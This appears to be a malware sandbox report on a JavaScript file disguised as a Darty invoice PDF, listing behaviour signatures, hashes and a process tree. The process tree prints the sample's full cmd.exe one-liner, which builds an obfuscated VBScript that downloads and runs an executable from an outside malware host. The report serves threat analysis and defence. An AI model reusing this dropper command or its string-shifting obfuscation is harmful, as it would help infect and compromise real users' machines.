Overview

overview

8

Static

static

5

Facture_Da...pdf.js

windows10-2004-x64

8

Facture_Da...pdf.js

windows11-ltsc_2024-x64

8

Analysis

  • max time kernel
    148s
  • max time network
    115s
  • platform
    windows11-ltsc_2024_x64
  • resource
    win11ltsc2024-20260709-en
  • resource tags

    arch:x64arch:x86image:win11ltsc2024-20260709-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
  • submitted
    10/09/2026, 12:36

Sharing

Copy URL Twitter E-mail
Report Analysis Logs

General

  • Target
    Facture_Darty_285KJGHGV4_R84Z4LOP90J_K38522AZ89N12P9KIP507_PF_04.2018_N1.pdf.js
  • Size 44KB
  • Sample260910-psxkvsxsct
  • SHA256 cd4372a0931b45e985d98ab9cc7aea12d5f58ec6c5f3c4fc2394742c6b492adc
  • MD5 SHA1 SHA512 SSDEEP TLSH
Score
8/10
execution

Malware Config

Signatures

  • Badlisted process makes network request 1 IoCs

    Network request originating from process or tool commonly abused by malware.

  • Executes a VBScript file via the Windows Script Host. 1 TTPs 1 IoCs
    execution
  • Command and Scripting Interpreter: JavaScript 1 TTPs
    execution
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Executes a command shell one-liner 1 TTPs 1 IoCs

    Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

    execution
  • Modifies registry class 1 IoCs
  • Suspicious use of WriteProcessMemory 2 IoCs

Processes

  • C:\Windows\system32\wscript.exe
    wscript.exe C:\Users\Admin\AppData\Local\Temp\Facture_Darty_285KJGHGV4_R84Z4LOP90J_K38522AZ89N12P9KIP507_PF_04.2018_N1.pdf.js
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:5248
    • C:\Windows\System32\cmd.exe
      "C:\Windows\System32\cmd.exe" /c cd %temp% &@echo B2r = "http://chanvribloc.com/dll.exe">>j.vbs &@echo K3e = H8f("unoQh{h")>>j.vbs &@echo Set E6w = CreateObject(H8f("pv{poUQ{pokwws"))>>j.vbs &@echo E6w.Open H8f("jhw"), B2r, False>>j.vbs &@echo E6w.send ("")>>j.vbs &@echo Set O6t = CreateObject(H8f("dgrgeQvwuhdp"))>>j.vbs &@echo O6t.Open>>j.vbs &@echo O6t.Type = 1 >>j.vbs &@echo O6t.Write E6w.ResponseBody>>j.vbs & @echo O6t.Position = 0 >>j.vbs &@echo O6t.SaveToFile K3e, 2 >>j.vbs &@echo O6t.Close>>j.vbs &@echo function H8f(Q0j) >> j.vbs &@echo For T2y = 1 To Len(Q0j) >>j.vbs &@echo G2q = Mid(Q0j, T2y, 1) >>j.vbs &@echo G2q = Chr(Asc(G2q)- 35) >>j.vbs &@echo P6js = P6js + G2q >> j.vbs &@echo Next >>j.vbs &@echo H8f = P6js >>j.vbs &@echo End Function >>j.vbs& j.vbs &dEl j.vbs & RKL.EXE
      2⤵
      • Executes a command shell one-liner
      • Modifies registry class
      • Suspicious use of WriteProcessMemory
      PID:3740
      • C:\Windows\System32\WScript.exe
        "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\j.vbs"
        3⤵
        • Badlisted process makes network request
        • Executes a VBScript file via the Windows Script Host.
        PID:2944

Network

        MITRE ATT&CK Enterprise v16

        Replay Monitor

        Loading Replay Monitor...

        Downloads

        j.vbs
        • Path C:\Users\Admin\AppData\Local\Temp\j.vbs
        • Size 481B
        • SHA256 e681fc529f04ff9362578ded41955221bc40e8d5c44ac359f47c8a5585cf5681
        • MD5 SHA1 SHA512 TLSH
        Submit Download